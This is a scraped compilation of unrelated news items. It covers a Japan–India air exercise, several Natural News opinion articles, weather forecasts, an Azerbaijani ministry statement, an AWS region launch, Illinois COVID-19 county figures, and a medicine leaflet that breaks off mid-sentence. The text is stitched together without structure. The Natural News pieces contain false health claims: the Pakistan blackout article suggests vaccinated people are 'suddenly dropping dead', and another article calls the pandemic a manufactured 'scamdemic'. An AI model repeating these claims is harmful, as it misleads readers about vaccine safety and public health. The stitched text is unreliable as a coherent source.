The exercises, known as Veer Guardian 2023, were conducted by members of the Indian Air Force (IAF) and the Japan Air Self-Defense Force (JASDF) and took place at the Hyakuri Air Base, the closest military air base to Tokyo. The exercises conclude on Jan. 26 and involve multi-domain air combat missions and exchanges of expertise on a variety of operational aspects.

The JASDF contingent in the drills features four domestically-manufactured F-2 and F-15 fighters each, while the IAF contingent brought four Russian-made Su-30 MKI fighters, one Russian-made IL-78 refueling tanker and two American-made C-17 transport aircraft.

This will be another step [toward] deepening strategic ties and closer defense cooperation between the two countries, noted Indias Ministry of Defense in a statement.

The JASDF said in a statement last month before the drills began that the joint effort aims to promote mutual understanding and strengthen defense cooperation between the air forces, and enhance JASDFs tactical skills.

Japan and India are in a special strategic global partnership relationship, said JASDF Chief of Staff Shunji Izutsu, adding that India is a like-minded country to Japan.

The joint air combat drills mark the first time Japan and India have engaged in defense cooperation exercises with their respective air forces. This is also the first time Japan and India have engaged in one-on-one military exercises.

For over a decade, Tokyo and New Delhi have been collaborating in joint military exercises along with other nations on drills focused on maritime security. The last time their militaries met was in November 2022 in the Malabar naval exercises in the East China Sea. Representatives of the Indian and Japanese navies were joined by ships from Australia and the United States.

Japan, India combining defense forces to combat growing Chinese threat

Shamshad Ahmad Khan, an assistant professor of international relations at the BITS Pilani, Dubai Campus, said it is very clear Japan and India are reacting to recent provocations by China. (Related: ESCALATION: India conducts nuclear-capable ballistic missile test one week after border clash with China.)

India and China in particular have been engaging in border standoffs in the disputed Eastern and Western Himalayas regions since 2020. Meanwhile, China disputes the Japanese administration over the Senkaku Islands in the East China Sea.

Both India and Japan have been looking on with concern as China expands its own military exercises, especially around Taiwan, perceiving it as a growing threat.

A growing threat perception in Japan [is that] China will do the same to Taiwan as Russia did to Ukraine, noted Khan, suggesting that this is what prompted Japan to change its strategy regarding defense cooperation with India. He further warned that, if China is allowed to have free rein over Taiwan, the Senkaku Islands could be next.

Against this context, the Japanese side is seeking to enhance interoperability with India, as well as other countries, added Khan.

N.C. Bipindra, an Indian defense and strategic affairs expert and editor of the Indian military-oriented news website, Defence.Capital, noted that China is definitely a key focus of the bilateral air exercise with Japan. He noted that both nations have a common interest in safeguarding their skies against any potential Chinese adventurism.

Bipindra warned that Beijing is likely to react strongly to the drills, possibly viewing it as an encirclement strategy of its two traditional rivals.

Wang Wenbin, spokesperson for the Chinese Ministry of Foreign Affairs, previously said in a statement that Japan and India should do more to enhance mutual trust in the security sphere between regional countries and act in the interest of peace and stability in the region instead of engaging in military drills.

Learn more about ongoing and brewing conflicts around the world at WWIII.news.

Watch this clip from G News discussing how Japan is increasing its defense spending and is on high alert over Chinas growing aggressiveness.

This video is from the Chinese Taking Down Evil CCP channel on Brighteon.com.

More related stories:

Almost a thousand Indian and Chinese troops engage in fresh clashes along disputed border.

China to have roughly 1,500 nuclear warheads by 2035.

Japanese PMs warning back in June sounds PROPHETIC now: Ukraine today may be East Asia tomorrow.

Japan to use KAMIKAZE drones to defend remote territories.

China is now threatening JAPAN with missiles, which could mean blowback from the US.

Sources include:

TheEpochTimes.com

Asia.Nikkei.com

RFA.org

Brighteon.com
(Natural News) Once again, the mainstream media is behaving in a typical, biased manner after the most recent mass shooting  this one in southern California  doesnt fit the left-wing narrative of crazed white domestic terrorist with a gun.

Nevertheless, Los Angeles County Sheriff Robert Luna is at least considering the possibility that the incident was a race-related hate crime, given that the alleged 72-year-old shooter was an Asian man who has since been found dead after turning a gun on himself.

We still are not clear on a motive, Luna told an early evening news conference Sunday. We want to know.

We dont know if this is specifically a hate crime [as] defined by law, but who walks into a dance hall and guns down 20 people? Luna said earlier in the day, according to NBC News. The description we have now is of a male Asian. Does that matter? I dont know. I can tell you that everythings on the table.

The outlet also reported:

Monterey Park police officers first responded to a dance hall, identified in government records as Star Ballroom Dance, after reports of a shooting came in at 10:22 p.m. Saturday, Luna said. People were rushing out of the hall as officers went into the business. Ten people were killed at the venue, and 10 others were taken to hospitals in conditions from stable to critical, Luna said. Four were being treated at LAC + USC Medical Center, the hospital confirmed.

Authorities were still working to identify the victims. Luna reported that five were women and five were men. He later said many were in their 50s, 60s and beyond.

Whats more, another angle that the garbage legacy media is largely ignoring: The suspected firearm used in the crime that Luna described as a magazine-fed semi-automatic pistol is not legal to own in California, proving once again that some of the most restrictive gun control laws in the country did nothing to thwart this horrific crime  but they did make for plenty of unarmed victims who are now dead before their time.

To its credit, NBC News noted (though deep inside the article): The possibility of a hate crime was part of the investigation, but authorities were also trying to determine whether the suspect knew any of the victims, Luna said. That aspect of the investigation will take time, he said, as the county coroner was still working on identifying victims.

Later Sunday, police swarmed to the suspected shooters home and conducted a lengthy search of the premises, the Daily Wire reported. It is unclear what exactly police were searching for or what was found, the outlet noted.

The suspect reportedly was a regular at the dance studio he targeted, who at times provided informal dance lessons, CNN reported, though it is unclear whether he had been to the studio in recent years. The outlet also noted that the suspect met his ex-wife at the same studio. The suspect reportedly saw her dancing and introduced himself, and the couple married a short time later, the outlet noted further.

The Daily Wire also noted that after the Star Ballroom shooting, the suspect tried getting into a second dance hall but was stopped by two people who managed to wrestle his firearm from him. He then fled in a white cargo van. Around 12 hours later, police managed to locate the van southwest of Monterey Park, according to a report from Reuters. As officers approached the van, guns drawn, they heard a single gunshot from inside. Moments later, they found the alleged gunman dead from a single gunshot wound to the head.

Again, its not clear if this was a hate crime, but what is clear is that had this suspect been white, we would have been told by the vast majority of left-wing outlets and Democratic operates on cable news that he was a racist white nationalist terrorist.

Sources include:

DailyWire.com

CNN.com

NBCNews.com
(Natural News) On Sunday, Georgia Republican Marjorie Taylor Green slammed Antifa rioters in Atlanta who took to the streets to throw rocks at and light fires outside of the Atlanta Police Foundation, and set a police vehicle ablaze.

(Article by Olivia Rondeau republished from ThePostMillennial.com)

Its happening again TONIGHT in Atlanta. When will our federal agencies start taking left-wing TERRORISM seriously? Looking at you Merrick Garland ANTIFA/BLM = DOMESTIC TERRORISTS!

Its happening again TONIGHT in Atlanta. When will our federal agencies start taking left-wing TERRORISM seriously? Looking at you Merrick Garland ANTIFA/BLM = DOMESTIC TERRORISTS! https://t.co/AzM4qDYPGI pic.twitter.com/zcDDtwzzJH  Marjorie Taylor Greene ?? (@mtgreenee) January 22, 2023

In response to a militant gunman being fatally shot by police after he shot and wounded an officer in the Antifa-led autonomous zone, other far-left agitators escalated the unrest in calling for a night of rage. Footage from the violence shows police cars being set on fire, smashing the Atlanta Police Foundation building, and attacking local businesses.

Antifa, BLM, and every other violent left wing organization must be declared domestic TERRORISTS immediately, Greene wrote in a follow-up tweet. These criminals must be treated like the DOJ is treating J6ers, but their attacks have been worse. These TERRORISTS are & always have been the true threat to democracy.

Antifa, BLM, and every other violent left wing organization must be declared domestic TERRORISTS immediately. These criminals must be treated like the DOJ is treating J6ers, but their attacks have been worse. These TERRORISTS are & always have been the true threat to democracy. https://t.co/zaMyh1E3It  Rep. Marjorie Taylor Greene?? (@RepMTG) January 22, 2023

She continued on, quote-tweeting the shocking footage of violence.

Antifa were doing this when Trump was elected in 2016 and theyre still doing it now, the congresswoman said. As soon as Democrats are out of power, Antifa, BLM and all the rest will be back terrorizing the entire nation.

This is just a preview, she added.

Antifa were doing this when Trump was elected in 2016 and theyre still doing it now. As soon as Democrats are out of power, Antifa, BLM and all the rest will be back terrorizing the entire nation. This is just a preview. https://t.co/b8D86YjPPp  Rep. Marjorie Taylor Greene?? (@RepMTG) January 22, 2023

Greene later renewed her call to designate Black Lives Matter and Antifa

In 2021, I called for BLM and Antifa to be declared domestic terrorist organizations. Tonight, with the violence and rioting in Atlanta, Im renewing that call, she wrote.

We must treat these thugs just like we treat any other group using political violence to intimidate their enemies.

In 2021, I called for BLM and Antifa to be declared domestic terrorist organizations. Tonight, with the violence and rioting in Atlanta, Im renewing that call. We must treat these thugs just like we treat any other group using political violence to intimidate their enemies. https://t.co/sqPHQeIDbj  Rep. Marjorie Taylor Greene?? (@RepMTG) January 22, 2023

Footage from the riot shows individuals wearing the traditional Antifa black garb and masks being arrested by police while screaming obscenities.

F*ck you!, You f*cking pig!, could be heard while law enforcement took back control of the situation.

Treehouse Antifa getting mass arrested in Atlanta https://t.co/Ym5fGzmHnA  Jack Posobiec ?? (@JackPosobiec) January 22, 2023

According to Atlanta Mayor Andre Dickens, some of the protesters had explosives on them.

MAYOR ANDRE DICKENS: You heard that correctly, explosives @CityofAtlanta Mayor Andre Dickens says some of the protesters had explosives on them. Listen to this clip from tonights press conference. pic.twitter.com/nyXAld0rYS  Billy Heath III (@BillyHeathFOX5) January 22, 2023

Read more at: ThePostMillennial.com
(Natural News) Millions of Pakistanis are still in the dark after a nationwide grid failure triggered what the media is calling the worst electricity outage in months.

Poor infrastructure coupled with heavy debt has left Pakistans energy continuity on shaky ground. While some efforts to restore power have turned the lights back on for some, millions of others still face blackout conditions.

The blackout, one of the worst in recent years, started around 7:00 a.m. local time and lasted more than 12 hours  right during the height of the cold winter season. As nighttime approached, many homes were still without heat, according to Energy Minister Khurram Dastgir.

We have faced some hurdles but we will overcome these hurdles, and will restore the power, Dastgir announced.

Blaming a voltage surge, Dastgir indicated that this is the second major grid failure for Pakistan in the last three months. And on an almost daily basis, blackouts continue to affect portions of the countrys nearly 220 million residents.

According to Dastir, parts of the capital city of Islamabad were among the first to see power restored, as well as areas of the southwest province of Balochistan. (Related: Last fall, the power grid of Bangladesh also collapsed, leaving 140 million people without power.)

IMF has bailed out Pakistan five times in last 20 years

Karachi, Pakistans largest city and its main economic hub, was also expected to see power restoration into the evening, according to a spokesperson for K-Electric Ltd, the southern citys electricity provider.

Other officials and some analysts are blaming Pakistans aging electricity network for these blackouts, stating that the nations infrastructure is in desperate need of an upgrade that the government simply cannot afford.

In the last two decades, the International Monetary Fund (IMF) has bailed out Pakistan some five different times. The most recent bailout, however, is said to be stuck due to conflict within the government over a program review that was supposed to have been completed last November.

While Pakistan technically has enough installed power capacity to meet demand, it lacks the resources needed to actually run its oil-and-gas power plants  not to mention the heavy debt of the country, which is preventing further investments in infrastructure and power lines.

Some of Pakistans power sector is seeing cash injections from China, which launched a $60 billion infrastructure scheme that feeds into its Belt and Road initiative.

We have been adding capacity, but we have been doing so without improving transmission infrastructure, said Fahad Rauf, head of research at Karachi brokerage Ismail Iqbal Industries.

In addition to no energy, many Pakistanis are also without water as there is no power available to pump it. Internet and mobile phone services are also seeing disruptions, though in some areas there are back-up generators keeping things going temporarily.

Beyond Islamabad and Karachi, other Pakistani cities hit hard by the current blackout include Lahore, Rawalpindi, Multan, Faisalabad, Hyderabad, and even parts of Pakistani-administered Kashmir.

It is unknown precisely why power supplies suddenly plummeted to zero, much like how people who got vaccinated for covid are suddenly dropping dead. There sure seems to be a whole lot of suddenlies happening these days, does there not?

According to local media, the breakdown also sent the important government buildings and institutions, including the President House, the Prime Minister House, the Supreme Court, airports and others to backup generators, reports indicate.

The power will take hours to be restored, local broadcaster ARY News said, citing unnamed Water and Power Ministry officials  A fault in a 1,320 mw power coal plant in the northeastern Sahiwal district is said to be the reason behind the breakdown, ARY News reported.

The latest hand-picked breaking news headlines can be found at Censored.news.

Sources for this article include:

Reuters.com

AA.com.tr

NaturalNews.com
(Natural News) In order to maintain a total monopoly while stifling all competition, the pharmaceutical companies directly involved with the covid scamdemic bribed Twitter and other social media platforms to censor all criticism that threatened their bottom line.

This is one of the revelations from the latest Twitter Files drop, which shows how the pharmaceutical industry lobbied tech companies to keep a lid on all conversations pertaining to generic covid vaccines.

Prior to the launch of Operation Warp Speed, many were calling for patent-free vaccines, which would allow the poorest countries of the world to benefit just like the richest ones. Pfizer, BioNTech, and others saw this as a threat and called on Twitter to silence all such talk.

The push included direct pressure from Pfizer partner BioNTech to censor activists demanding low-cost generic vaccines for low-income countries, tweeted journalist Lee Fang, who shared highlights from the Twitter Files drop in a series of tweets.

Had these efforts in support of a generic vaccine been successful, Pfizer, BioNTech, Moderna, and the others would not have raked in record profits from the sale of their patented injections  hence why they shelled out millions to silence free speech on social media.

This strategy included fending off efforts to water down strict intellectual property laws inhibiting the sharing of patents for coronavirus vaccines and treatments, added Allum Bokhari, writing for Breitbart News. (Related: Twitters censorship of pharma critics is a worldwide phenomenon.)

Big Pharma petitioned Biden to SANCTION any country that tried to produce a generic, low-cost covid vaccine

The plan all along was for a handful of pharmaceutical giants to capitalize on the scamdemic, which they indeed did with Donald Trump and Joe Bidens help. The crisis, which was clearly manufactured, represented an opportunity for unprecedented profit, Fang explained.

Behind closed doors, pharma launched a massive lobbying blitz to crush any effort to share patents / IP for new covid-related medicine, including therapeutics and vaccines.

BioNTech specifically asked Twitter to censor all talk about generic, low-cost vaccines because the more people warmed up to the idea, the less likely it would be for the company to generate billions of dollars in ill-gotten profits.

So, with the help of BIO, a lobbying group that represents the bio-pharmaceutical industry, BioNTech, along with Moderna and Pfizer, wrote a letter to the incoming Biden regime demanding that the United States government sanction any country that attempted to violate patent rights and create generic low cost covid medicine or vaccines, Fang revealed.

Twitter also played its part in all this by closely monitoring accounts calling for a generic, low-cost covid vaccine. While not every account discussing such matters was censored or removed, some of them were, including Zero Hedge, which was suspended entirely from the social media platform.

In addition to suppressing content that posed a threat to their dominance over coronavirus treatments, lobbyists for the pharma giants also spread exaggerated claims on Twitter about the costs of watering down intellectual property regulations related to treatment development, Bokhari further reported.

Twitter took no action to curtail this activity.

Moderna and Pfizer even went so far as to compile a list of accounts and tweets that it wanted Twitter to silence and remove. The two vaccine corporations routinely emailed Twitter with requests for compliance, though it appears Twitter did not necessarily comply in all cases.

More recently, Moderna has decided to jack up the price on its patented covid injection to $100 a pop, making it entirely unaffordable for the worlds poorest countries.

Want to keep up with the latest Twitter Files drops? You can do so at Censorship.news.

Sources for this article include:

Breitbart.com

NaturalNews.com
Forecasters say a tropical cyclone is forming off the coast of Western Australia and will make landfall this weekend, bringing wind speeds of up to 165km/h.

According to Weatherzone, the weather system is being formed by a weak tropical low that is currently over the Northern Territory but is expected to shift westward in the coming days.

Today, it will continue to bring rain and squally winds to the Top End coast before strengthening and accelerating towards Western Australia's Kimberley or Pilbara coasts.

A tropical cyclone forming off the coast

Forecasters believe it will strengthen to a category one or two tropical cyclones before crossing the coast on Saturday and dissipating over land on Sunday, as per 9News.

Category 1 tropical cyclones have wind gusts ranging from 90km/h to 125km/h, while category 2 storms can have speeds ranging from 126km/h to 165km/h near the center.

As this system crosses the coast, heavy rain is also expected.

Some parts of Western Australia should receive 150mm to 300mm of rain over the course of 12 to 26 hours.

NaHowever, due to its high speed, the impact at landfall will be brief and sharp.

Furthermore, the speed of the weather system could push heavy rainfall deep into WA's interior.

The cyclone warning comes as large parts of the Kimberley continue to recover from prolonged flooding caused by storms late last year.

On December 28, ex-tropical cyclone Ellie crossed into Western Australia from the Northern Territory.

Flooding has occurred along the Fitzroy River from Fitzroy Crossing, with record levels of 15.81m reached.

Daily showers and thunderstorms are expected in the eastern and southeastern states, with some areas receiving more than 30mm of rain over several days.

However, hot weather is expected in those areas on Friday and Saturday, ahead of a developing rainband that is expected to dominate conditions for much of next week.

Also Read: Australia Weather Update: BoM Forecasts Continuance of Cold Front Into the Weekend

Stormy weather for the east coast

A low-pressure system is moving into the Tasman Sea. This could bring some showers in the coming days, especially for coastal NSW, but it should clear up before Australia Day, as per News.com.au.

At the same time, stormy weather is moving eastward.

For the next day or so, the focus will be on inland areas, but severe weather could hit the east coast and cities by Wednesday and Thursday.

It will also bring warmth. In contrast, southerly winds will keep Victoria and Tasmania much cooler.

Sydney will be partly cloudy on Tuesday, with a high of 28 degrees Celsius rising to 29 degrees Celsius on Wednesday, with Australia Day pushing just over the 30-degree mark.

Lows will be around 20 degrees Celsius.

Thunderstorms are possible on Wednesday and Thursday. Storms with rain are expected to occur in the afternoon or evening on Australia Day. They may be severe in the city's western outskirts.

Northern NSW, including Coffs Harbour, will see showers and storms all week, but they'll be more intense on Tuesday and Wednesday than on Australia Day itself.

It's not much better on the south coast, with storms in Ulladulla on most days, including Australia Day.

Sydney will be partly cloudy on Tuesday, with a high of 28 degrees Celsius rising to 29 degrees Celsius on Wednesday, with Australia Day pushing just over the 30 degree mark.

Lows will be around 20 degrees Celsius.

Thunderstorms are possible on Wednesday and Thursday. Storms with rain are expected to occur in the afternoon or evening on Australia Day. They may be severe in the city's western outskirts.

Northern NSW, including Coffs Harbour, will see showers and storms all week, but they'll be more intense on Tuesday and Wednesday than on Australia Day itself.

It's not much better on the south coast, with storms in Ulladulla on most days, including Australia Day.

Canberra's temperature is expected to rise into the thirties, but it could reach 33 degrees Celsius on Thursday.

Minimum temperatures will be around 13 degrees Celsius, with the possibility of a severe storm in the afternoon and evening of Australia Day.

Brisbane is expected to have a consistently warm week, with mostly 33C maximums and 22C minimums, including on Thursday.

Storms are possible every day this week, just like in NSW.

Cairns can expect up to 20mm of rain per day, especially on Friday and Saturday. A shower is possible on Australia Day, with a high of 32 degrees Celsius.

Related article: Warm Weather and Heavy Rainfall Events Intensify in Australia [Climate Report]
A new storm system initially placed over 5 million people under tornado threat since it has been forecasted to move from the South Plains to the Great Lakes, affecting parts of the Gulf Coast as well.

Beside heavy snow, severe storms with damaging winds and isolated yet strong tornadoes are possible to occur along the path of the intensifying storm, according to the National Weather Service (NWS).

United States weather forecast earlier this week mentioned remnants of the powerful atmospheric river system that drenched California for several weeks will be responsible for the development of a cross-country storm the coming days.

The said storm will travel from the southwestern to the northeastern US, where it has the potential to produce heavy snow from New Mexico to Maine.

Over a week ago, these ongoing storms were preceded by a powerful winter storm or bomb cyclone, also called as winter hurricanes, that struck the Buffalo, New York, and other areas across the country in late December 2022.

The December storm was then followed by a deadly Pacific storm train that killed multiple people and caused widespread disruption across the Golden State.

New Storm System

The Weather Prediction Center (WPC) of the NWS on Monday, January 23, stated the new storm system over the South is expected to bring heavy snow to parts of the southern High Plains, central Mississippi Valley, Ohio Valley, the Great Lakes, and Northeast until midweek.

The US weather agency also said there is a chance for strong to severe thunderstorms and flash flooding threat across parts of the Gulf Coast states and southern Mississippi Valley from Tuesday to early Wednesday, January 24 to January 25.

The agency adds that the weather pattern will be active across the Central US and Eastern US through the middle of the week since the new storm system started to organize and strengthen across the South on Tuesday.

Also Read: Storm System to Unleash in Central U.S, Causing Heavy Snow and Severe Weather

Alaska Weather Forecast

NWS meteorologists also highlighted during their recent short-range forecast that some areas across the interior and western Alaska could experience blowing snow, heavy snow, and bitter wind chills.

A forecast last week cited by Alaska's News Source that series of waves of wet winter weather will strike Alaskan areas in the south coast from the Aleutian Islands to the south-central and southeast Alaska.

An avalanche risk increased and is now designated as "considerable at all elevations," according to the Chugach National Forecast Avalanche Information Center (CNFAIC), as cited by the Alaskan local news outlet.

US Winter Season

The US is still currently in its winter season, which approximately spans from December to February every year.

According to McGill University, contemporary meteorology considers winter to be within the range of December, January, and February in the Northern Hemisphere, while winter takes place during the months of June, July, and August on Earth's Southern Hemisphere.

In the US, winter weather hazards associated with the said season include snow storm, blizzard, and freezing temperatures, as well as powerful, chilling winds.

Related Article: US Weather Forecast: Potent Storm Could Leave Southwest, Barrel from New Mexico to Maine This Week
The latest weather forecast warned that an intense winter storm is expected to unload in Quebec and portions of Ontario this week.

Freezing and foggy conditions would result in travel hazards and cold-related health concerns.

Last week, weather forecasts said that the classic colder air and the polar vortex would bring extreme and colder temperatures to Canada in February.

Heavy snow in Quebec and Southern Ontario

In addition, the The Weather Network reported this January 24 that a snowstorm would unload heavy snow in Quebec on Wednesday evening and with the potential to stay until the end of the week.

In the The Weather Network's weather forecast, the outlook reported that snowfall is expected to unload starting Wednesday to Thursday.

Snowfall would unleash in Sherbrooke, Montreal, Gatineau, Trois Rivieres, Quebec, Riviere-du Loup, Saint-Georges, Grand Falls, Fredericton, Gaspe and Rimouski.

There is also a chance of snow in Sept-Iles, Baie-Comeau, Saguenay, La Tuque and Mont-Laurier.

According to CBC News, Environment Canada said temperatures would become colder with a possible deep freeze on Friday and the weekend.

The cold weather conditions would be challenging for many residents.

On Friday, The Weather Network reported that snow outlook is forecast to unleash in Gatineau, Montreal, Quebec, Sherbrooke, Rimouski, Gaspe and Sept-Iles.

On the other hand, the weather forecast explained that Southern Ontario would receive wintry weather conditions this week.

The challenging weather would bring snow that could disrupt travel plans. On Thursday, the forecast said that Ottawa and Ontario expected heavy snowfall.

Also Read: Canada Weather Forecast: Swath of Heavy Snow, Rain to Unleash in Atlantic Canada This Weekend; Winter Storms Could Cause Travel Disruptions

The final weekend of January in Southern Ontario and portions of Canada would anticipate more blowing snow.

Colder weather and wintry patterns

According to the latest weather forecast, the weather conditions in portions of Canada and Quebec would expect intense winter storms this week.

Residents and motorists should stay updated with the weather, especially the extreme temperatures that could unfold.

Although Canadians are not new to extreme temperatures, staying safe during ice and freezing conditions is best.

Here are some essential tips during the winter storm.

Listening to weather forecasts and reports would help becoming more prepared. Local weather stations would be essential to understand the possible impact on your area. Understand that the older adults, babies and other vulnerable people would be more at risk of the extreme temperatures. It is essential to check their temperatures for hypothermia or frostbite regularly. Avoid any unnecessary travel. Hazardous travel conditions would unfold this week that could lead to more road accidents. If it is unimportant, it is better to stay at home. Keep an emergency bag at home. Blowing snow and freezing weather would result in widespread power outages. The emergency kit should include a flashlight, power banks, bottled water, food supplies and medicines. Keep your pets at home.

Did you know?

According to Canadian Geographic, the place of Snag, Yukon, had the lowest on-record temperature in Canada on February 3, 1947.

Meanwhile, the report said Grand Banks off Newfoundland is the world's foggiest region.

Related Article: Canada Weather Forecast: Significant Snowfall to Unleash in Ontario Next Week; Motorists Could Expect Travel Disruptions

For more similar, don't forget to follow Nature World News.
By Azernews

Qabil Ashirov

The Azerbaijani Foreign Ministry issued a statement on the decision of the European Council to establish the EU Monitoring Mission in Armenia, Azernews reports.

The Foreign Ministry stated that such an engagement must not be exploited for derailing the normalization process between Azerbaijan and Armenia, including in the context of the border delimitation process that should be carried out exclusively on a bilateral basis.

It must be ensured that the deployment of the EU mission in Armenia duly takes into account the legitimate interests of Azerbaijan, and such an undertaking by the EU takes place in a manner that does not undermine mutual trust and confidence, the ministry added.

Furthermore, Azerbaijan expects that in the process of deliberations on the EU mission, utmost care will be exercised to draw necessary lessons from past experience.

The Foreign Ministry noted that the EUs engagement in the territory of Armenia had started with the deployment of a civilian monitoring capacity following the agreement reached at the Prague meeting on October 6, 2022, among the leaders of Azerbaijan, Armenia, France, and the EU Council president. Azerbaijan agreed to such an undertaking with the understanding that it will help the normalization process.

Despite clearly defined parameters and purposes of the two-month-long period mission agreed upon at the highest level, the actual deployment of the monitoring capacity was accompanied by serious deviations from the agreements reached in Prague, following biased approaches taken by some EU member-states. This, in turn, affected the overall trust as regards the credibility and transparency of the decision-making within the EU.

As a matter of fact, the presence of EU monitoring capacity in Armenia coincided with increased attempts by Armenia to derail the normalization process in all its three tracks, including torpedoing the trilateral meeting of the leaders of Azerbaijan, Armenia, and the EU Council, with groundless conditions. As such, initial expectations that the EU mission would contribute to taking the normalization agenda forward were undermined, the ministry said.

According to the ministry, following the end of a two-month-long civilian EU mission in Armenia and given the interest of the EU to continue its presence, Azerbaijan has engaged in good faith in consultations with the EU and conveyed its assessment, expectations, and concerns clearly and in a transparent manner.

In a series of consultations held at various levels with EU representatives, it has been communicated by Azerbaijan that engagement of the EU in Armenia through a mission must not serve as a pretext for Armenia to evade the fulfillment of undertaken commitments.

Exploitation of such a presence of the EU against the already existing dialogue mechanisms is detrimental, and must be avoided, the ministry concluded.
Amazon Web Services (AWS) on Tuesday said its second infrastructure region in Australia has been made available for customers.

The new region in Melbourne (codenamed: ap-southeast-4), which was first announced in December 2020, will consist of three availability zones.

Availability zones are the building blocks of an AWS region that place infrastructure in separate and distinct geographic locations.

AWS had launched its first infrastructure region in Sydney in 2012, which also has three availability zones.

Other than the two regions, Australia is home to seven Amazon CloudFront Edge locations in Australia, backed by a Regional Edge cache in Sydney. The company had launched an additional CloudFront point of presence (PoP) in Perth in 2018.

While CloudFront points of presence are placed to ensure that popular content can be served quickly viewers, Regional Edge Caches are positioned (network-wise) between the CloudFront locations and the origin to further improve content performance.

AWS already has a local zone in Perth. Local zones are infrastructure deployment that provide compute, storage and database services to a large population or industry centers.

The new region in Melbourne will support more than 2,500 new jobs in the country, AWS claimed, adding that it plans to invest an additional $4.5 billion in Australia by 2037.

The AWS Asia Pacific (Melbourne) region adds to our ongoing infrastructure expansion and investments in Australia since we launched the AWS Asia Pacific (Sydney) region in 2012. We are proud to deepen our investment by driving local job creation, building cloud skills, and creating opportunities for growth and collaboration with our local customers and AWS Partners, Prasad Kalyanaraman, vice president of Infrastructure Services at AWS, said in a press statement.

AWS customers in Australia include the likes of National Australia Bank, Littlepay, Royal Melbourne Institute of Technology and Australian Bureau of Statistics.

AWS continues to invest in data centers

Melbourne is AWS 12th region in the Asia Pacific region, joining existing regions in Singapore, Tokyo, Seoul, Mumbai, Hong Kong, Osaka, Jakarta, Hyderabad, Sydney, and Mainland Chinas Beijing and Ningxia regions.

With the launch of the new Melbourne region, AWS now has 99 availability zones across 31 geographic regions, with announced plans to launch 12 more availability zones and four more AWS regions in Canada, Israel, New Zealand, and Thailand.

In November last year, the company launched its second region in India with a $4.4 billion commitment.

AWS also has confirmed plans to invest $35 billion in Virginia by 2040, expanding its US-EAST-1 region by establishing multiple data center campuses across the state, and creating 1,000 new jobs.
Download Now

The News-Gazette mobile app brings you the latest local breaking news, updates, and more. Read the News-Gazette on your mobile device just as it appears in print.




For kids from Champaign, it is the close-to-home version of Were going to Disney World. Just substitute Ayo Dosunmu and DeMar DeRozan for Mickey Mouse and Donald Duck.
If you have an upper respiratory infection, our wish is that you stay away from other people. You have the power to stop the virus transmission chain, effectively preventing other people from getting sick from your infection.

The second year of the COVID-19 pandemic was riskier for adults 25-54 than than the first year, University of Illinois researchers found.

Get yourself vaccinated and get the bivalent booster. If youre going to wear your mask at all, this is the time to be wearing your mask, UI epidemiologist Rebecca Lee Smith said.

Region report

Three years ago today, a Chicagoland woman in her 60s who reported shortness of breath and a fever in the days since returning from Wuhan, China, became the first of Illinois 4,008,844 confirmed COVID-19 cases. Heres a county-by-county look at cases, deaths, vaccinations and current spread level, according to data from the Illinois State Department of Public Health and the Centers for Disease Control and Prevention:

CHAMPAIGN COUNTY

Population: 209,689

Completed primary series of vaccine: 142,397 (67.9%)

Total cases: 84,519

Total deaths: 309

Current community spread level: Low

COLES COUNTY

Population: 50,621

Completed primary series of vaccine: 23,986 (47.4%)

Total cases: 18,755

Total deaths: 185

Current community spread level: Low

DeWITT COUNTY

Population: 15,638

Completed primary series of vaccine: 8.497 (54.3%)

Total cases: 5,148

Total deaths: 41

Current community spread level: Low

DOUGLAS COUNTY

Population: 19,465

Completed primary series of vaccine: 9,831 (50.5%)

Total cases: 7,824

Total deaths: 62

Current community spread level: Low

FORD COUNTY

Population: 12,961

Completed primary series of vaccine: 7,685 (59.3%)

Total cases: 5,407

Total deaths: 70

Current community spread level: Low

IROQUOIS COUNTY

Population: 27,114

Completed primary series of vaccine: 14,248 (52.5%)

Total cases: 8,758

Total deaths: 130

Current community spread level: Medium

MACON COUNTY

Population: 104,009

Completed primary series of vaccine: 56,887 (54.7%)

Total cases: 39,638

Total deaths: 367

Current community spread level: Low

McLEAN COUNTY

Population: 171,517

Completed primary series of vaccine: 113,518 (66.2%)

Total cases: 63,145

Total deaths: 330

Current community spread level: Low

MOULTRIE COUNTY

Population: 14,501

Completed primary series of vaccine: 6,550 (45.2%)

Total cases: 4,881

Total deaths: 51

Current community spread level: Low

PIATT COUNTY

Population: 16,344

Completed primary series of vaccine: 10,521 (64.4%)

Total cases: 5,484

Total deaths: 23

Current community spread level: Low

VERMILION COUNTY

Population: 75,758

Completed primary series of vaccine: 35,612 (47.0%)

Total cases: 34,535

Total deaths: 317

Current community spread level: Low
NOTICE: This Consumer Medicine Information (CMI) is intended for persons living in Australia.

Consumer Medicine Information (CMI) summary

WARNING: Important safety information is provided in a boxed warning in the The full CMI has more details. If you are worried about using this medicine, speak to your doctor or pharmacist.Important safety information is provided in a boxed warning in the full CMI . Read before using this medicine.

Why am I using Lenalidomide-Teva?

Lenalidomide-Teva contains the active ingredient lenalidomide (as lenalidomide hydrochloride monohydrate). Lenalidomide-Teva is used to treat patients with Multiple Myeloma. Lenalidomide-Teva is also used to treat patients who have conditions called myelodysplastic syndromes (MDS) in whom the bone marrow does not produce enough mature blood cells. For more information, see Section 1. Why am I using Lenalidomide-Teva? in the full CMI.

What should I know before I use Lenalidomide-Teva?

Talk to your doctor if you have any other medical conditions, take any other medicines, or are pregnant or plan to become pregnant or are breastfeeding. For more information, see Section Do not use if you have ever had an allergic reaction to Lenalidomide-Teva or any of the ingredients listed at the end of the CMI.For more information, see Section 2. What should I know before I use Lenalidomide-Teva? in the full CMI.

What if I am taking other medicines?

Some medicines may interfere with Lenalidomide-Teva and affect how it works. A list of these medicines is in Section 3. What if I am taking other medicines? in the full CMI.

How do I use Lenalidomide-Teva?

Your doctor will tell you how much Lenalidomide-Teva to take and for how long you will need to take it. More instructions can be found in Section 4. How do I use Lenalidomide-Teva? in the full CMI.

What should I know while using Lenalidomide-Teva?

Things you should do Remind any doctor, dentist or pharmacist you visit that you are using Lenalidomide-Teva. FEMALE PATIENTS:

Tell your doctor immediately if you become pregnant or suspect that you may be pregnant. You should also immediately stop taking Lenalidomide-Teva in this case Things you should not do FEMALE PATIENTS:

Do not become pregnant whilst taking Lenalidomide-Teva. Do not have sexual intercourse without using effective means of contraception described to you by your doctor MALE PATIENTS:

Do not donate sperm during treatment or treatment interruption, or for at least 1 week after stopping treatment. Do not have sexual intercourse without using effective means of contraception described to you by your doctor ALL PATIENTS:

